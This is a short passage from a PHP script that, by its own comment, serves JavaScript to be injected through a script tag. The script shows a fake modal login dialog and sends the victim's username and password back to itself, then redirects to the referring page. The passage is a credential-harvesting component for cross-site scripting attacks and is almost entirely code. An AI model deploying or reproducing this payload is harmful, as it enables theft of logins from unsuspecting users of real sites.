tag to pop up a modal dialog prompting for username and password which will send back creds to the same script */ if( isset( $_GET["username"] ) ){ if( isset( $_SERVER['HTTP_REFERER'] ) ){ header( "Location: ".$_SERVER['HTTP_REFERER'] ); }else{ echo ""; } exit; } header( "Content-type: text/javascript" ); if( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] ){ $self = "https://"; }else{ $self = "http://"; } $self .= $_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']; $html = "